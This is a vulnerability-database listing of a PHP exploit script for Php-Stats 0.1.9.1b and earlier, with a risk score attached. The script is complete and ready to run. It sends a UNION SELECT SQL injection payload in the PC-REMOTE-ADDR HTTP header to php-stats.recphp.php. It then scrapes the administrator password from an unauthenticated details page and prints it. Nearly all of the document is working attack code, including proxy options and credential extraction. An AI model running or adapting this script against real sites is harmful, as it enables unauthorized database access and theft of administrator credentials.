Php-Stats <= 0.1.9.1b (PC-REMOTE-ADDR) SQL Injection Exploit

🗓️ 01 Jul 2014 00:00:00Reported by RootType
Php-Stats version 0.1.9.1b PC-REMOTE-ADDR SQL Injection Exploit. Usage: php {host} {path} OPTION

                                                &#60;?php
print_r(&#39;
---------------------------------------------------------------------------
Php-Stats &#60;= 0.1.9.1b PC-REMOTE-ADDR sql injection / cleat text admin pass
disclosure
by rgod
mail: retrog at alice dot it
site: http://retrogod.altervista.org
---------------------------------------------------------------------------
&#39;);

if ($argc&#60;3) {
    print_r(&#39;
---------------------------------------------------------------------------
Usage: php &#39;.$argv[0].&#39; host path OPTIONS
host:      target server (ip/hostname)
path:      path to phpstats
Options:
 -p[port]:    specify a port other than 80
 -P[ip:port]: specify a proxy
Example:
php &#39;.$argv[0].&#39; localhost /stats/ -P1.1.1.1:80
php &#39;.$argv[0].&#39; localhost /php-stats/stats/ -p81
---------------------------------------------------------------------------
&#39;);
    die;
}

error_reporting(7);
ini_set(&#34;max_execution_time&#34;,0);
ini_set(&#34;default_socket_timeout&#34;,5);

function quick_dump($string)
{
  $result=&#39;&#39;;$exa=&#39;&#39;;$cont=0;
  for ($i=0; $i&#60;=strlen($string)-1; $i++)
  {
   if ((ord($string[$i]) &#60;= 32 ) | (ord($string[$i]) &#62; 126 ))
   {$result.=&#34;  .&#34;;}
   else
   {$result.=&#34;  &#34;.$string[$i];}
   if (strlen(dechex(ord($string[$i])))==2)
   {$exa.=&#34; &#34;.dechex(ord($string[$i]));}
   else
   {$exa.=&#34; 0&#34;.dechex(ord($string[$i]));}
   $cont++;if ($cont==15) {$cont=0; $result.=&#34;\r\n&#34;; $exa.=&#34;\r\n&#34;;}
  }
 return $exa.&#34;\r\n&#34;.$result;
}
$proxy_regex = &#39;(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)&#39;;

function send($packet)
{
  global $proxy, $host, $port, $html, $proxy_regex;
  if ($proxy==&#39;&#39;) {
    $ock=fsockopen(gethostbyname($host),$port);
    if (!$ock) {
      echo &#39;No response from &#39;.$host.&#39;:&#39;.$port; die;
    }
  }
  else {
	$c = preg_match($proxy_regex,$proxy);
    if (!$c) {
      echo &#39;Not a valid proxy...&#39;;die;
    }
    $parts=explode(&#39;:&#39;,$proxy);
    $parts[1]=(int)$parts[1];
    echo &#34;Connecting to &#34;.$parts[0].&#34;:&#34;.$parts[1].&#34; proxy...\r\n&#34;;
    $ock=fsockopen($parts[0],$parts[1]);
    if (!$ock) {
      echo &#39;No response from proxy...&#39;;die;
	}
  }
  fputs($ock,$packet);
  if ($proxy==&#39;&#39;) {
    $html=&#39;&#39;;
    while (!feof($ock)) {
      $html.=fgets($ock);
    }
  }
  else {
    $html=&#39;&#39;;
    while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
      $html.=fread($ock,1);
    }
  }
  fclose($ock);
}

$host=$argv[1];
$path=$argv[2];
$port=80;
$proxy=&#34;&#34;;
for ($i=3; $i&#60;$argc; $i++){
$temp=$argv[$i][0].$argv[$i][1];
if ($temp==&#34;-p&#34;)
{
  $port=(int)str_replace(&#34;-p&#34;,&#34;&#34;,$argv[$i]);
}
if ($temp==&#34;-P&#34;)
{
  $proxy=str_replace(&#34;-P&#34;,&#34;&#34;,$argv[$i]);
}
}
if (($path[0]&#60;&#62;&#39;/&#39;) or ($path[strlen($path)-1]&#60;&#62;&#39;/&#39;)) {echo &#39;Error... check the path!&#39;; die;}
if ($proxy==&#39;&#39;) {$p=$path;} else {$p=&#39;http://&#39;.$host.&#39;:&#39;.$port.$path;}

function my_enc($my_string)
{
  $encoded=&#34;CHAR(&#34;;
  for ($k=0; $k&#60;=strlen($my_string)-1; $k++)
  {
    $encoded.=ord($my_string[$k]);
    if ($k==strlen($my_string)-1) {$encoded.=&#34;)&#34;;}
    else {$encoded.=&#34;,&#34;;}
  }
  return $encoded;
}
/*
vulnerable code, php-stats.recphp.php, line 41:
...
if(isset($_SERVER[&#39;REMOTE_ADDR&#39;])) $ip=(isset($_SERVER[&#39;HTTP_PC_REMOTE_ADDR&#39;]) ? $_SERVER[&#39;HTTP_PC_REMOTE_ADDR&#39;] : $_SERVER[&#39;REMOTE_ADDR&#39;]);
...

vulnerable query, line 146:

...
$result=$php_stats_rec-&#62;php_stats_sql_query(&#34;SELECT data,lastpage,user_id,visitor_id,reso,colo,os,bw,giorno,level FROM $option[prefix]_cache WHERE user_id=&#39;$ip&#39; LIMIT 1&#34;);
...

oh, this is unpatched in php-stats.recphp.php... tze tze
you can never never trust http headers!

*/

$SQL=&#34;1.1.1.999&#39;/**/UNION/**/SELECT/**/null,null,CONCAT(&#34;.my_enc(&#34;&#60;!--&#34;).&#34;,value,&#34;.my_enc(&#34;--&#62;&#34;).&#34;),null,null,null,null,null,null,null/**/FROM/**/php_stats_config/**/WHERE/**/name=&#39;admin_pass&#39;/*&#34;;
$packet =&#34;GET &#34;.$p.&#34;php-stats.recphp.php HTTP/1.0\r\n&#34;;
$packet.=&#34;PC-REMOTE-ADDR: $SQL\r\n&#34;;
$packet.=&#34;User-Agent: Mozilla/5.0\r\n&#34;;
$packet.=&#34;Host: &#34;.$host.&#34;\r\n&#34;;
$packet.=&#34;Connection: Close\r\n\r\n&#34;;
send($packet);

//see visitor details page for results, pass is obfuscated inside html, under the last visitor IP field
//this action can be normally performed without to be logged in

$packet =&#34;GET &#34;.$p.&#34;admin.php?action=details HTTP/1.0\r\n&#34;;
$packet.=&#34;User-Agent: Mozilla/5.0\r\n&#34;;
$packet.=&#34;Host: &#34;.$host.&#34;\r\n&#34;;
$packet.=&#34;Connection: Close\r\n\r\n&#34;;
send($packet);
$t=explode(&#34;whois.php?IP=&#60;!--&#34;,$html);
$t2=explode(&#34;--&#62;&#34;,$t[1]);
$pass=$t2[0];
echo &#34;admin pass -&#62; &#34;.$pass.&#34;\n&#34;;

?&#62;

# milw0rm.com [2007-03-16]
01 Jul 2014 00:00Current
7.1High risk
Vulners AI Score7.1